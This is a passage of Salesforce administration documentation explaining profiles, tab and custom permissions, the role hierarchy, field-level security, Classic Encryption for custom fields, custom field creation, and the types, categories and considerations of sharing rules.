2. To edit multiple profiles, select the checkbox next to each profile you want to edit. If you select profiles on multiple pages, Salesforce remembers which profiles are selected.

3. Double-click the permission you want to edit. For multiple profiles, double-click the permission in any of the selected profiles.

4. In the dialog box that appears, enable or disable the permission. In some cases, changing a permission may also change other permissions. For example, if “Customize Application” and “View Setup and Configuration” are disabled and you enable “Customize Application,” then “View Setup and Configuration” is also enabled. In this case, the dialog box lists the affected permissions.

5. To change multiple profiles, select **All  n  selected records** (where  n  is the number of profiles you selected).

6. Click **Save**.

**Note:**

- For standard profiles, inline editing is available only for the “Single Sign-On” and “Affected By Divisions” permissions.
- If you edit multiple profiles, only those profiles that support the permission you are changing will change. For example, if you use inline editing to add “Modify All Data” to multiple profiles, but because of its user license the profile doesn’t have “Modify All Data,” the profile won’t change.

If any errors occur, an error message appears, listing each profile in error and a description of the error. Click the profile name to open the profile detail page. The profiles you’ve clicked appear in the error window in gray, strike-through text. To view the error console, you must have pop-up blockers disabled for the Salesforce domain.

Any changes you make are recorded in the setup audit trail.
Clone Profiles

Instead of creating profiles, save time by cloning existing profiles and customizing them.

Tip: If you clone profiles to enable certain permissions or access settings, consider using permission sets. For more information, see Permission Sets. Also, if your profile name contains more than one word, avoid extraneous spacing. For example, “Acme User” and “Acme User” are identical other than spacing between “Acme” and “User.” Using both profiles in this case can result in confusion for admins and users.

1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. In the Profiles list page, do one of the following:
   - Click New Profile, then select an existing profile that’s similar to the one you want to create.
   - If enhanced profile list views are enabled, click Clone next to a profile that’s similar to the one you want to create.
   - Click the name of a profile that’s similar to the one you want to create, then in the profile page, click Clone.

A new profile uses the same user license as the profile it was cloned from.

3. Enter a profile name.
4. Click Save.

Viewing a Profile’s Assigned Users

To view all users that are assigned to a profile from the profile overview page, click Assigned Users (in the enhanced profile user interface) or View Users (in the original profile user interface). From the assigned users page, you can:

- Create one or multiple users
- Reset passwords for selected users
- Edit a user
- View a user’s detail page by clicking the name, alias, or username
- View or edit a profile by clicking the profile name
- If Google Apps™ is enabled in your organization, export users to Google and create Google Apps accounts by clicking Export to Google Apps
View and Edit Tab Settings in Permission Sets and Profiles

Tab settings specify whether a tab appears in the All Tabs page or is visible in a tab set.

1. From Setup, either:
   - Enter Permission Sets in the Quick Find box, then select Permission Sets, or
   - Enter Profiles in the Quick Find box, then select Profiles

2. Select a permission set or profile.

3. Do one of the following:
   - Permission sets or enhanced profile user interface—In the **Find Settings...** box, enter the name of the tab you want and select it from the list, then click **Edit**.
   - Original profile user interface—Click **Edit**, then scroll to the Tab Settings section.

4. Specify the tab settings.

5. (Original profile user interface only) To reset users’ tab customizations to the tab visibility settings that you specify, select **Overwrite users’ personal tab customizations**.

6. Click **Save**.

**Note:** If Salesforce CRM Content is enabled for your organization but the Salesforce CRM Content User checkbox isn’t enabled on the user detail page, the Salesforce CRM Content app has no tabs.
Enable Custom Permissions in Profiles

Custom permissions give you a way to provide access to custom processes or apps. After you’ve created a custom permission and associated it with a process or app, you can enable the permission in profiles.

1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile.
3. Depending on which user interface you’re using, do one of the following.
   - Enhanced profile user interface: Click Custom Permissions, and then click Edit.
   - Original profile user interface: In the Enabled Custom Permissions related list, click Edit.
4. To enable custom permissions, select them from the Available Custom Permissions list and click Add. To remove custom permissions from the profile, select them from the Enabled Custom Permissions list and click Remove.
5. Click Save.
User Role Hierarchy

Salesforce offers a user role hierarchy that you can use with sharing settings to determine the levels of access that users have to your Salesforce org’s data. Roles within the hierarchy affect access on key components such as records and reports.

If your organization-wide defaults are more restrictive than Public Read/Write, use role hierarchy to make records more accessible to users.

Watch a Demo: Who Sees What: Record Access via Roles (English only)

Users at any role level can view, edit, and report on all data that’s owned by or shared with users below them in their role hierarchy, unless your org’s sharing model for an object specifies otherwise. Specifically, in the Organization-Wide defaults related list, you can disable the Grant Access Using Hierarchies option for a custom object. When disabled, only the record owner and users who are granted access by the organization-wide defaults receive access to the object’s records.

Roles determine user access to cases, contacts, and opportunities, regardless of who owns those records. The access level is specified on the Role Edit page. For example, you can set the contact access so that users in a role can edit all contacts associated with accounts that they own, regardless of who owns the contacts. And you can set the opportunity access so that users in a role can edit all opportunities associated with accounts that they own, regardless of who owns the opportunities.

After you share a folder with a role, it’s visible only to users in that role, not to superior roles in the hierarchy.

Share Objects and Fields

Give specific object or field access to selected groups or profiles.

IN THIS SECTION:

Field-Level Security
Field-level security settings let you restrict users’ access to view and edit specific fields.

Sharing Rules
Use sharing rules to extend sharing access to users in public groups, roles, or territories. Sharing rules give particular users greater access by making automatic exceptions to your org-wide sharing settings.

User Sharing
User Sharing enables you to show or hide an internal or external user from another user in your organization.

What Is a Group?
A group consists of a set of users. A group can contain individual users, other groups, or the users in a particular role or territory. It can also contain the users in a particular role or territory plus all the users below that role or territory in the hierarchy.

Organization-Wide Sharing Defaults
Define the default access level for an object’s records with organization-wide sharing settings. Organization-wide sharing settings can be set separately for custom objects and many standard objects, including assets, campaigns, cases, and accounts and their contracts.
Field-Level Security

Field-level security settings let you restrict users’ access to view and edit specific fields.

Note: Who Sees What: Field-Level Security (English only)

Watch how you can restrict access to specific fields on a profile-by-profile basis.

Your Salesforce org contains lots of data, but you probably don’t want every field accessible to everyone. For example, your payroll manager probably wants to keep salary fields accessible only to select employees. You can restrict user access in:

- Detail and edit pages
- Related lists
- List views
- Reports
- Connect Offline
- Email and mail merge templates
- Custom links
- The partner portal
- The Salesforce Customer Portal
- Synchronized data
- Imported data

Page layouts and field-level security settings determine which fields a user sees. The most restrictive field access settings of the two always applies. For example, you can have a field that’s required in a page layout but is read-only in the field-level security settings. The field-level security overrides the page layout, so the field remains read-only.

You can define field-level security in either of these ways.

- For multiple fields on a single permission set or profile
- For a single field on all profiles

After setting field-level security, you can:

- Organize the fields on detail and edit pages by creating page layouts.
  
  Tip: Use field-level security to restrict users’ access to fields, and then use page layouts to organize detail and edit pages within tabs. This approach reduces the number of page layouts for you to maintain.

- Verify users’ access to fields by checking field accessibility.

- Customize search layouts to set the fields that appear in search results, in lookup dialog search results, and in the key lists on tab home pages. To hide a field that’s not protected by field-level security, omit it from the layout.

Note: Roll-up summary and formula fields are read-only on detail pages and not available on edit pages. They can also be visible to users even though they reference fields that your users can’t see. Universally required fields appear on edit pages regardless of field-level security.

The relationship group wizard allows you to create and edit relationship groups regardless of field-level security.

IN THIS SECTION:

Set Field Permissions in Permission Sets and Profiles

Field permissions specify the access level for each field in an object.
Set Field-Level Security for a Single Field on All Profiles

Field Permissions
Field permissions specify the access level for each field in an object. In permission sets and the enhanced profile user interface, the setting labels differ from those in the original profile user interface and in field-level security pages for customizing fields.

Classic Encryption for Custom Fields
Restrict other Salesforce users from seeing custom text fields you want to keep private. Only users with the permission "View Encrypted Data" can see data in encrypted custom text fields.

Set Field Permissions in Permission Sets and Profiles
Field permissions specify the access level for each field in an object.

1. From Setup, either:
   - Enter Permission Sets in the Quick Find box, then select Permission Sets, or
   - Enter Profiles in the Quick Find box, then select Profiles

2. Select a permission set or profile.

3. Depending on which interface you're using, do one of the following:
   - Permission sets or enhanced profile user interface—In the Find Settings... box, enter the name of the object you want and select it from the list. Click Edit, then scroll to the Field Permissions section.
   - Original profile user interface—In the Field-Level Security section, click View next to the object you want to modify, and then click Edit.

4. Specify the field's access level.

5. Click Save.
Set Field-Level Security for a Single Field on All Profiles

1. From the management settings for the field’s object, go to the fields area.
2. Select the field you want to modify.
3. Click View Field Accessibility.
4. Specify the field’s access level.

Field Permissions

Field permissions specify the access level for each field in an object. In permission sets and the enhanced profile user interface, the setting labels differ from those in the original profile user interface and in field-level security pages for customizing fields.

<table>
<thead>
<tr>
<th>Access Level</th>
<th>Enabled Settings in Permission Sets and Enhanced Profile User Interface</th>
<th>Enabled Settings in Original Profile and Field-Level Security Interfaces</th>
</tr>
</thead>
<tbody>
<tr>
<td>Users can read and edit the field.</td>
<td>Read and Edit</td>
<td>Visible</td>
</tr>
<tr>
<td>Users can read but not edit the field.</td>
<td>Read</td>
<td>Visible and Read-Only</td>
</tr>
<tr>
<td>Users can’t read or edit the field.</td>
<td>None</td>
<td>None</td>
</tr>
</tbody>
</table>
Classic Encryption for Custom Fields

Restrict other Salesforce users from seeing custom text fields you want to keep private. Only users with the permission “View Encrypted Data” can see data in encrypted custom text fields.

Note: This information is about Classic Encryption and not Shield Platform Encryption.

Before you begin working with encrypted custom fields, review these implementation notes, restrictions, and best practices.

Implementation Notes

- Encrypted fields are encrypted with 128-bit master keys and use the Advanced Encryption Standard (AES) algorithm. You can archive, delete, and import your master encryption key. To enable master encryption key management, contact Salesforce.
- You can use encrypted fields in email templates but the value is always masked regardless of whether you have the “View Encrypted Data” permission.
- If you have created encrypted custom fields, make sure that your organization has “Require secure connections (HTTPS)” enabled.
- If you have the “View Encrypted Data” permission and you grant login access to another user, the user can see encrypted fields in plain text.
- Only users with the “View Encrypted Data” permission can clone the value of an encrypted field when cloning that record.
- Only the <apex:outputField> component supports presenting encrypted fields in Visualforce pages.

Restrictions

Encrypted text fields:

- Cannot be unique, have an external ID, or have default values.
- For leads are not available for mapping to other objects.
- Are limited to 175 characters because of the encryption algorithm.
- Are not available for use in filters such as list views, reports, roll-up summary fields, and rule filters.
- Cannot be used to define report criteria, but they can be included in report results.
- Are not searchable, but they can be included in search results.
- Are not available for: Connect Offline, Salesforce for Outlook, lead conversion, workflow rule criteria or formulas, formula fields, outbound messages, default values, and Web-to-Lead and Web-to-Case forms.

Best Practices

- Encrypted fields are editable regardless of whether the user has the “View Encrypted Data” permission. Use validation rules, field-level security settings, or page layout settings to prevent users from editing encrypted fields.
- You can still validate the values of encrypted fields using validation rules or Apex. Both work regardless of whether the user has the “View Encrypted Data” permission.
- Encrypted field data is not always masked in the debug log. Encrypted field data is masked if the Apex request originates from an Apex Web service, a trigger, a workflow, an inline Visualforce page (a page embedded in a page layout), or a Visualforce email template. In other cases, encrypted field data isn’t masked in the debug log, like for example when running Apex from the Developer Console.
• Existing custom fields cannot be converted into encrypted fields nor can encrypted fields be converted into another data type. To encrypt the values of an existing (unencrypted) field, export the data, create an encrypted custom field to store that data, and import that data into the new encrypted field.

• Mask Type is not an input mask that ensures the data matches the Mask Type. Use validation rules to ensure that the data entered matches the mask type selected.

• Use encrypted custom fields only when government regulations require it because they involve more processing and have search-related limitations.

Note: This page is about Classic Encryption, not Shield Platform Encryption. What's the difference? on page 155

IN THIS SECTION:

Create Custom Fields
Capture your unique business data by storing it in custom fields. When you create a custom field, you configure where you want it to appear and optionally control security at the field level.
Create Custom Fields

Capture your unique business data by storing it in custom fields. When you create a custom field, you configure where you want it to appear and optionally control security at the field level.

Watch a Demo: ▶️ How to Create a Custom Field in Salesforce

Want to customize Salesforce so it captures all your business data? This short video walks you through how to create a custom picklist field, from choosing the correct field type to applying field level security.

Watch a Demo: ▶️ How to Add a Custom Field in Salesforce (Lightning Experience)

Want to add and arrange a new field while viewing an individual record for an object? This short video walks you through creating a picklist field while viewing a contact, and then changing the page layout for the field.

Before you begin, determine the type of field you want to create.

Note: When your org is close to the limit of 800 custom fields and you delete or create fields, field creation can fail. The physical delete process reclaims and cleans fields, making them count temporarily toward the limit. The delete process runs only when the queue is full, so it can take days or weeks to start. In the meantime, the deleted fields are still counted as part of the limit. To request immediate deletion of fields, contact Salesforce Support.

1. From the management settings for the object you want to add a field to, go to Fields.
   Custom task and event fields are accessible from the object management settings for Activities.

2. Click New.
   Tip: On custom objects, you can also set field dependencies and field history tracking in this section.

3. Choose the type of field and click Next. Consider the following.
   • Some data types are available for certain configurations only. For example, the Master-Detail Relationship option is available for custom objects only when the custom object doesn’t already have a master-detail relationship.
   • Custom settings and external objects allow only a subset of the available data types.
   • You can’t add a multi-select picklist, rich text area, or dependent picklist custom field to opportunity splits.
   • Relationship fields count towards custom field limits.
   • Additional field types may appear if an AppExchange package using those field types is installed.
   • The Roll-Up Summary option is available on certain objects only.
   • Field types correspond to API data types.
   • If your organization uses Shield Platform Encryption, ensure you understand how to encrypt custom fields using the Shield Platform Encryption offering.

4. For relationship fields, associate an object with the field and click Next.

5. For indirect lookup relationship fields, select a unique, external ID field on the parent object, and then click Next. The parent field values are matched against the values of the child indirect lookup relationship field to determine which records are related to each other.

6. To base a picklist field on a global picklist value set, select the value set to use.
7. Enter a field label.

Salesforce populates Field Name using the field label. This name can contain only underscores and alphanumeric characters, and must be unique in your org. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Use the field name for merge fields in custom links, custom s-controls, and when referencing the field from the API.

Tip: Ensure that the custom field name and label are unique for that object.

- If a standard and custom field have identical names or labels, the merge field displays the custom field value.
- If two custom fields have identical names or labels, the merge field can display an unexpected value.

If you create a field label called Email and a standard field labeled Email exists, the merge field is unable to distinguish between the fields. Adding a character to the custom field name makes it unique. For example, Email2.

8. Enter field attributes and select the appropriate checkboxes to specify whether the field must be populated and what happens if the record is deleted.

9. For master-detail relationships on custom objects, optionally select Allow reparenting to allow a child record in the master-detail relationship to be reparented to a different parent record.

10. For relationship fields, optionally create a lookup filter to limit search results for the field. Not available for external objects.

11. Click Next.

12. In Enterprise, Unlimited, Performance, and Developer Editions, specify the field’s access settings for each profile, and click Next.

<table>
<thead>
<tr>
<th>Access Level</th>
<th>Enabled Settings</th>
</tr>
</thead>
<tbody>
<tr>
<td>Users can read and edit the field.</td>
<td>Visible</td>
</tr>
<tr>
<td>Users can read but not edit the field.</td>
<td>Visible and Read-Only</td>
</tr>
<tr>
<td>Users can’t read or edit the field.</td>
<td>None</td>
</tr>
</tbody>
</table>

Note:
- When you create a custom field, by default the field isn’t visible or editable for portal profiles, unless the field is universally required.

13. Choose the page layouts that will display the editable field and click Next.

<table>
<thead>
<tr>
<th>Field</th>
<th>Location on Page Layout</th>
</tr>
</thead>
<tbody>
<tr>
<td>Normal</td>
<td>Last field in the first two-column section.</td>
</tr>
<tr>
<td>Long text area</td>
<td>End of the first one-column section.</td>
</tr>
<tr>
<td>User</td>
<td>Bottom of the user detail page.</td>
</tr>
<tr>
<td>Universally required</td>
<td>Can’t remove it from page layouts or make read only.</td>
</tr>
</tbody>
</table>

14. For relationship fields, optionally create an associated records related list and add it to page layouts for that object.

- To edit the related list name on page layouts, click Related List Label and enter the new name.
To add the related list to customized page layouts, select Append related list to users’ existing personal customizations.

15. Click Save to finish or Save & New to create more custom fields.

Note: Creating fields may require changing a large number of records at once. To process these changes efficiently, your request may be queued and you may receive an email notification when the process has completed.

SEE ALSO:
Salesforce Help: Find Object Management Settings

Sharing Rules

Use sharing rules to extend sharing access to users in public groups, roles, or territories. Sharing rules give particular users greater access by making automatic exceptions to your org-wide sharing settings.

Note: Watch how you can grant access to records using sharing rules.

Like role hierarchies, a sharing rule can never be stricter than your org-wide default settings. It simply allows greater access for particular users.

You can base a sharing rule on record ownership or other criteria. After you select which records to share, you define which groups or users to extend access to and what level of access they have.

Note: You can define up to 300 sharing rules for each object, including up to 50 criteria-based sharing rules, if available for the object.

You can create these types of sharing rules. Your org might have other objects that are available for sharing rules.

<table>
<thead>
<tr>
<th>Type</th>
<th>Based On</th>
<th>Set Default Sharing Access For</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account sharing rules</td>
<td>Account owner or other criteria, including account record types or field values</td>
<td>Accounts and their associated contracts, opportunities, cases, and optionally, contacts and orders</td>
</tr>
<tr>
<td>Account territory sharing rules (Not available with Enterprise Territory Management)</td>
<td>Territory assignment</td>
<td>Accounts and their associated cases, contacts, contracts, and opportunities</td>
</tr>
<tr>
<td>Asset sharing rules</td>
<td>Asset owner or other criteria, including asset record types or field values</td>
<td>Individual assets</td>
</tr>
<tr>
<td>Campaign sharing rules</td>
<td>Campaign owner or other criteria, including campaign record types or field values</td>
<td>Individual campaigns</td>
</tr>
<tr>
<td>Case sharing rules</td>
<td>Case owner or other criteria, including case record types or field values</td>
<td>Individual cases and associated accounts</td>
</tr>
<tr>
<td>Contact sharing rules</td>
<td>Contact owner or other criteria, including contact record types or field values</td>
<td>Individual contacts and associated accounts</td>
</tr>
<tr>
<td>Type</td>
<td>Based On</td>
<td>Set Default Sharing Access For</td>
</tr>
<tr>
<td>----------------------------------</td>
<td>---------------------------------------------------------------------------</td>
<td>---------------------------------------------------------------------</td>
</tr>
<tr>
<td>Custom object sharing rules</td>
<td>Custom object owner or other criteria, including custom object record types or field values</td>
<td>Individual custom object records</td>
</tr>
<tr>
<td>Data privacy sharing rules</td>
<td>Data privacy record owner or other criteria, including field values. Data privacy records are based on the Individual object.</td>
<td>Individual data privacy records</td>
</tr>
<tr>
<td>Flow interview sharing rules</td>
<td>Flow interview owner or other criteria, such as the pause reason</td>
<td>Individual flow interviews</td>
</tr>
<tr>
<td>Lead sharing rules</td>
<td>Lead owner or other criteria, including lead record types or field values</td>
<td>Individual leads</td>
</tr>
<tr>
<td>Location sharing rules</td>
<td>Location owner or other criteria</td>
<td>Individual locations</td>
</tr>
<tr>
<td>Opportunity sharing rules</td>
<td>Opportunity owner or other criteria, including opportunity record types or field values</td>
<td>Individual opportunities and their associated accounts</td>
</tr>
<tr>
<td>Order sharing rules</td>
<td>Order owner or other criteria, including order record types or field values</td>
<td>Individual orders</td>
</tr>
<tr>
<td>Product item sharing rules</td>
<td>Product item owner or other criteria</td>
<td>Individual product items</td>
</tr>
<tr>
<td>Product request sharing rules</td>
<td>Product request owner only; criteria-based sharing rules aren’t available</td>
<td>Individual product requests</td>
</tr>
<tr>
<td>Product transfer sharing rules</td>
<td>Product transfer owner only; criteria-based sharing rules aren’t available</td>
<td>Individual product transfers</td>
</tr>
<tr>
<td>Return order sharing rules</td>
<td>Return order owner or other criteria</td>
<td>Individual return orders</td>
</tr>
<tr>
<td>Service appointment sharing rules</td>
<td>Service appointment owner or other criteria</td>
<td>Individual service appointments</td>
</tr>
<tr>
<td>Service contract sharing rules</td>
<td>Service contract owner only; criteria-based sharing rules aren’t available</td>
<td>Individual service contracts</td>
</tr>
<tr>
<td>Service crew sharing rules</td>
<td>Service crew owner only; criteria-based sharing rules aren’t available</td>
<td>Individual service crews</td>
</tr>
<tr>
<td>Service resource sharing rules</td>
<td>Service resource owner or other criteria</td>
<td>Individual service resources</td>
</tr>
<tr>
<td>Service territory sharing rules</td>
<td>Service territory owner or other criteria</td>
<td>Individual service territories</td>
</tr>
<tr>
<td>Shipment sharing rules</td>
<td>Shipment owner only; criteria-based sharing rules aren’t available</td>
<td>Individual shipments</td>
</tr>
<tr>
<td>Time sheet sharing rules</td>
<td>Time sheet owner only; criteria-based sharing rules aren’t available</td>
<td>Individual time sheets</td>
</tr>
<tr>
<td>User sharing rules</td>
<td>Group membership or other criteria, including username and whether the user is active</td>
<td>Individual users</td>
</tr>
<tr>
<td>Type</td>
<td>Based On</td>
<td>Set Default Sharing Access For</td>
</tr>
<tr>
<td>----------------------------------</td>
<td>--------------------------------------------------------------------------</td>
<td>-----------------------------------------------------</td>
</tr>
<tr>
<td>User provisioning request sharing rules</td>
<td>User provisioning request owner, only; criteria-based sharing rules aren’t available</td>
<td>Individual user provisioning requests</td>
</tr>
<tr>
<td>Work order sharing rules</td>
<td>Work order owner or other criteria, including work order record types or field values</td>
<td>Individual work orders</td>
</tr>
<tr>
<td>Work type sharing rules</td>
<td>Work type owner or other criteria</td>
<td>Individual work types</td>
</tr>
</tbody>
</table>

**Note:** Developers can use Apex to programmatically share custom objects (based on record owners but not other criteria). This does not apply to User Sharing.

**IN THIS SECTION:**

**Sharing Rule Types**
You can base a sharing rule on record ownership or other criteria.

**Create Sharing Rules**
A sharing rule is based on the record owner or other criteria, including record type and certain field values. You can define up to 300 sharing rules for each object, including up to 50 criteria-based sharing rules, if available for the object.

**Sharing Rule Categories**
When you define a sharing rule, you can choose from the following categories in the owned by members of and Share with drop-down lists. Depending on the type of sharing rule and the features enabled for your organization, some categories may not appear.

**Edit Sharing Rules**
For a sharing rule based on owner or group membership, you can edit only the sharing access settings. For a sharing rule based on other criteria, you can edit the criteria and sharing access settings.

**Sharing Rule Considerations**
Review the following notes before using sharing rules.

**Recalculate Sharing Rules**
When you make changes to groups, roles, and territories, sharing rules are reevaluated to add or remove access as necessary.

**Asynchronous Parallel Recalculation of Sharing Rules**
Speed up sharing rule recalculation by running it asynchronously and in parallel.
Sharing Rule Types

You can base a sharing rule on record ownership or other criteria.

Owner-Based Sharing Rules

An owner-based sharing rule opens access to records owned by certain users. For example, a company’s sales managers need to see opportunities owned by sales managers in a different region. The U.S. sales manager could give the APAC sales manager access to the opportunities owned by the U.S. team using owner-based sharing.

Criteria-Based Sharing Rules

A criteria-based sharing rule determines with whom to share records based on field values. For example, you have a custom object for job applications, with a custom picklist field named “Department.” A criteria-based sharing rule could share all job applications in which the Department field is set to “IT” with all IT managers in your organization. You can create up to 50 criteria-based sharing rules per object.

Note:

- A criteria-based sharing rule is based on record values and not the record owners. However, a role or territory hierarchy still allows users higher in the hierarchy to access the records.
- You can’t use Apex to create a criteria-based sharing rule. And you can’t test criteria-based sharing using Apex.
- Starting with API version 24.0, you can use the Metadata API SharingRules type to create criteria-based sharing rules.

You can create criteria-based sharing rules for accounts, assets, campaigns, cases, contacts, leads, opportunities, work orders, and custom objects. For the sharing criteria, record types and these field types are supported.

- Auto Number
- Checkbox
- Date
- Date/Time
- Email
- Lookup Relationship (to user ID or queue ID)
- Number
- Percent
- Phone
- Picklist
- Text
- Text Area
- URL

Note: Text and Text Area are case-sensitive. For example, a criteria-based sharing rule that specifies “Manager” in a text field doesn’t share records that have “manager” in the field. To create a rule with several common cases of a word, enter each value separated by a comma.
Guest User Sharing Rules

A guest user sharing rule is a special type of criteria-based sharing rule. They are the only way to grant record access to unauthenticated guest users when you enable the Secure guest user record access setting.

You can also create sharing rules based on account territories or group membership. See Create Sharing Rules for more info.

Create Sharing Rules

A sharing rule is based on the record owner or other criteria, including record type and certain field values. You can define up to 300 sharing rules for each object, including up to 50 criteria-based sharing rules, if available for the object.

1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
2. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing Settings.
3. In the Sharing Rules related list for the object, click New.
4. Enter the label name and rule name. The label name appears on the user interface. The rule name is a unique name used by the API and managed packages.
5. Optionally, enter a description of the sharing rule, up to 1,000 characters.
6. Select a rule type, if prompted. Some rules types aren’t available for all objects.
7. Select which records or users to share. Depending on the rule type you selected, do the following.
   - **Based on record owner**—For owned by members of, specify which users’ records are shared. Select a category from the first dropdown list and a set of users from the second dropdown list or lookup field.
   - **Based on criteria or Guest user access, based on criteria**—Specify the field, operator, and value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. To change the AND relationship between filters, click Add Filter Logic.
     
     **Note:** To use a field that’s not supported by criteria-based sharing rules, create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field. Then use that field as the criterion.

   - **Based on account territories**—For Accounts in Territory, select Territories or Territories and Subordinates from the first dropdown list and a territory from the second dropdown list. This option is available only for sharing rules created via the Account Territory Sharing Rules related list. The Account Territory Sharing Rules related list isn’t available with Enterprise Territory Management.

   - **Based on group membership**—You can share users who are members of a group with members of another group. For Users who are members of, select a category from the first dropdown list and a set of users from the second dropdown list or lookup field. This option is available only for user sharing rules.

8. Specify the users who get access to the data. For Share with, select a category from the first dropdown list and a set of users from the second dropdown list or lookup field.

   **Note:** When you enable the Secure guest user record access setting, you must create guest user sharing rules to open up record access to guest users.

9. Select sharing access settings for users. Some access settings aren’t available for some objects or in some situations.

EDITIONS

Available in: Salesforce Classic (not available in all orgs) and Lightning Experience

Available in: Professional, Enterprise, Performance, Unlimited, and Developer Editions

See Sharing Rule Considerations for more information on availability.

USER PERMISSIONS

To create sharing rules:

- Manage Sharing
<table>
<thead>
<tr>
<th>Access Setting</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Private</td>
<td>Users can’t view or update records, unless access is granted outside of this sharing rule. Available only for associated contacts, opportunities, and cases.</td>
</tr>
<tr>
<td>Read Only</td>
<td>Users can view, but not update, records. Guest user sharing rules can only grant Read Only access.</td>
</tr>
<tr>
<td>Read/Write</td>
<td>Users can view and update records.</td>
</tr>
<tr>
<td>Full Access</td>
<td>Users in the selected group, role, or territory can view, edit, transfer, delete, and share the record, just like the record’s owner. With a Full Access sharing rule, users can also view, edit, delete, and close activities associated with the record if the org-wide sharing setting for activities is Controlled by Parent. Available for campaigns only.</td>
</tr>
</tbody>
</table>

**Note:** Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent.

10. Click **Save**.

### Sharing Rule Categories

When you define a sharing rule, you can choose from the following categories in the **owned by** and **Share with** drop-down lists. Depending on the type of sharing rule and the features enabled for your organization, some categories may not appear.

**Note:** You can’t include high-volume portal users in sharing rules because they don’t have roles and can’t be in public groups.

<table>
<thead>
<tr>
<th>Category</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Managers Groups</td>
<td>All direct and indirect managers of a user.</td>
</tr>
<tr>
<td>Manager Subordinates Groups</td>
<td>A manager and all direct and indirect reports who he or she manages.</td>
</tr>
<tr>
<td>Queues</td>
<td>All records owned by the queue, excluding records owned by individual members of the queue. Available only in the <strong>owned by</strong> list.</td>
</tr>
<tr>
<td>Public Groups</td>
<td>All public groups defined by your administrator. If a partner portal or Customer Portal is enabled for your organization, the All Partner Users or All Customer Portal Users group displays. These groups include all users allowed to access your partner portal or Customer Portal, except for high-volume portal users.</td>
</tr>
</tbody>
</table>

**EDITIONS**

Available in: Salesforce Classic (not available in all orgs) and Lightning Experience

Available in: Professional, Enterprise, Performance, Unlimited, and Developer Editions

See Sharing Rule Considerations for more information on availability.
<table>
<thead>
<tr>
<th>Category</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Roles</td>
<td>All roles defined for your organization. This includes all of the users in the specified role.</td>
</tr>
<tr>
<td>Portal Roles</td>
<td>All roles defined for your organization’s partner portal or Customer Portal. This includes all users in the specified portal role, except high-volume portal users. A portal role name includes the name of the account that it’s associated with, except for person accounts, which include the user <strong>Alias</strong>.</td>
</tr>
<tr>
<td>Roles and Subordinates</td>
<td>All roles defined for your organization. This includes all of the users in the specified role plus all of the users in roles below that role, including partner portal and Customer Portal roles that contain users with a portal license type. Portal roles are only included in this category if a partner portal or Customer Portal is enabled for your organization. The Roles, Internal and Portal Subordinates data set category is only available in your organization after you create at least one role in the role hierarchy.</td>
</tr>
<tr>
<td>Portal Roles and Subordinates</td>
<td>All roles defined for your organization's partner portal or Customer Portal. This includes all of the users in the specified portal role plus all of the users below that role in the portal role hierarchy, except for high-volume portal users. A portal role name includes the name of the account that it’s associated with, except for person accounts, which include the user <strong>Alias</strong>.</td>
</tr>
<tr>
<td>Roles and Internal Subordinates</td>
<td>All roles defined for your organization. This includes all of the users in the specified role plus all of the users in roles below that role, excluding partner portal and Customer Portal roles. This category only displays if a partner portal or Salesforce Customer Portal is enabled for your organization. The Roles and Internal Subordinates data set category is only available in your organization after you create at least one role in the role hierarchy and enable a portal.</td>
</tr>
<tr>
<td>Roles, Internal and Portal Subordinates</td>
<td>All roles defined for your organization. This includes all of the users in the specified role plus all of the users in roles below that role, including partner portal and Customer Portal roles. This category only displays if a partner portal or Salesforce Customer Portal is enabled for your organization. The Roles and Internal Subordinates data set category is only available in your organization after you create at least one role in the role hierarchy and enable a portal.</td>
</tr>
<tr>
<td>Territories</td>
<td>All territories defined for your organization.</td>
</tr>
<tr>
<td>Territories and Subordinates</td>
<td>All territories defined for your organization. This includes the specified territory plus all territories below it.</td>
</tr>
<tr>
<td>Guest User</td>
<td>All unauthenticated users in a community or site.</td>
</tr>
</tbody>
</table>
**Edit Sharing Rules**

For a sharing rule based on owner or group membership, you can edit only the sharing access settings. For a sharing rule based on other criteria, you can edit the criteria and sharing access settings.

1. From Setup, enter *Sharing Settings* in the Quick Find box, then select *Sharing Settings*.
2. In the Sharing Rules related list for the object, click *New*.
3. Change the label and rule name if desired.
4. If you selected a rule that's based on owner or group membership, skip to the next step.
   
   If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. To change the AND relationship between filters, click *Add Filter Logic*.
5. Select sharing access settings for users. Some access settings aren't available for some objects or in some situations.

<table>
<thead>
<tr>
<th>Access Setting</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Private</td>
<td>Users can’t view or update records, unless access is granted outside of this sharing rule. Available only for associated contacts, opportunities, and cases.</td>
</tr>
<tr>
<td>Read Only</td>
<td>Users can view, but not update, records.</td>
</tr>
<tr>
<td>Read/Write</td>
<td>Users can view and update records.</td>
</tr>
<tr>
<td>Full Access</td>
<td>Users in the selected group, role, or territory can view, edit, transfer, delete, and share the record, just like the record’s owner. With a Full Access sharing rule, users can also view, edit, delete, and close activities associated with the record if the org-wide sharing setting for activities is Controlled by Parent. Available for campaigns only.</td>
</tr>
</tbody>
</table>

**Note:** Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent.

6. Click *Save*. 
Sharing Rule Considerations

Review the following notes before using sharing rules.

Granting Access

- You can use sharing rules to grant wider access to data. You cannot restrict access below your organization-wide default levels.
- To create sharing rules, your organization-wide defaults must be Public Read Only or Private.
- If multiple sharing rules give a user different levels of access to a record, the user gets the most permissive access level.
- Sharing rules automatically grant additional access to related records. For example, opportunity sharing rules give role or group members access to the account associated with the shared opportunity if they do not already have it. Likewise, contact and case sharing rules provide the role or group members with access to the associated account as well.
- Users in the role hierarchy are automatically granted the same access that users below them in the hierarchy have from a sharing rule, provided that the object is a standard object or the Grant Access Using Hierarchies option is selected.
